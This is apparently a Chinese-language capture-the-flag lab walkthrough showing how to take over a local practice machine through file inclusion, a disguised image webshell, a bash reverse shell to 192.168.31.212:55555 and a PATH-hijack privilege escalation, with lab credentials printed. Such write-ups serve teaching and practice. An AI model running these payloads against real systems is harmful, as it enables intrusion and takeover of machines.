主机探测
ip为192.168.31.175
端口扫描
访问80页面,有登录页面
LFI+图片马->RCE
发现page参数可控
尝试读取config,发现没有回显,用php://filter
1
|
http://192.168.31.175/?page=php://filter/convert.base64-encode/resource=config
|
解码之后得到数据库的账号密码root/H4u%QJ_H99
登录数据库之后,查找有用信息
获得三组用户名和密码,对其进行base64解密
1
2
3
4
5
6
|
└─$ echo 'Sld6WHVCSkpOeQ==' | base64 -d
JWzXuBJJNy
└─$ echo 'U0lmZHNURW42SQ==' |base64 -d
SIfdsTEn6I
└─$ echo 'aVN2NVltMkdSbw==' | base64 -d
iSv5Ym2GRo
|
登录kent
账号,准备上传图片。这里会想到上传图片马,但是直接修改文件后缀的方式无法成功上传木马,需要搞清楚这里的校验规则是怎样的
同样通过LFI读取upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
...
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
|
规则解读:
- 设置文件后缀白名单:".jpg",".jpeg",".gif",".png"
- 检验文件类型是否为·
- 检验MIME是否为
image/gif
image/jpeg
image/jpg
image/png
之一
$filetype
中不允许存在/
要绕过这些校验规则,可以结合之前的LFI漏洞
查看index.php
内容,这里提示了在cookie设置lang=要包含的文件
在一句话木马前面加入GIF89a
,然后将木马保存为图片格式,可以欺骗简单的waf
[!note]
GIF89a
是图文件头。此处靶机中,php使用getimagesize
函数来获取图像大小及相关信息,所以这里改后缀就不可行了。但是可以利用文件头欺骗,来让函数检测无效。
在cookie处传入图片路径,成功RCE
反弹shell
反弹shell,payload如下:
1
|
bash+-c+'exec+bash+-i%26>/dev/tcp/192.168.31.212/55555+<%261'
|
成功反弹shell
将shell升级为tty,查看家目录下的用户
环境变量劫持->提权
用之前的密码尝试切换用户,寻找有用信息
在kane
家目录下发现一个可执行文件msgmike
,运行,但出现报错
报错是说不存在/home/mike/msg.txt
这个文件,但是我们目前没有mike
权限去确认是否存在这个文件,这里想到环境变量劫持
进入bash之后,bash是一个独立的进程,在其中执行的命令都是子进程。==子进程只会继承父进程的环境变量,不会继承父进程的自定义变量==。如果想让子进程继续使用父进程的自定义变量,就需要把自定义变量转换成环境变量,这就需要命令export
了。
1
2
3
4
5
6
|
# 创造一个cat
echo /bin/bash > cat
# 赋予权限
chmod 777 cat
# 环境变量劫持
export PATH=/tmp:$PATH
|
此时就切换至mike
权限了,继续在mike
的家目录下寻找信息,发现一个属于root的msg2root
文件
strings
查看其中可见字符,发现执行这个文件的时候,会将输入的字符追加写入/root/messages.txt
输入/bin/sh
让系统进入到其中
提权成功
Got flag
总结
1、这台靶机考查了如何绕过上传图片的限制,首先通过LFI漏洞读取源码文件,明确校验规则,然后LFI结合图片进行RCE
2、提权主要是用到环境变量劫持这一手段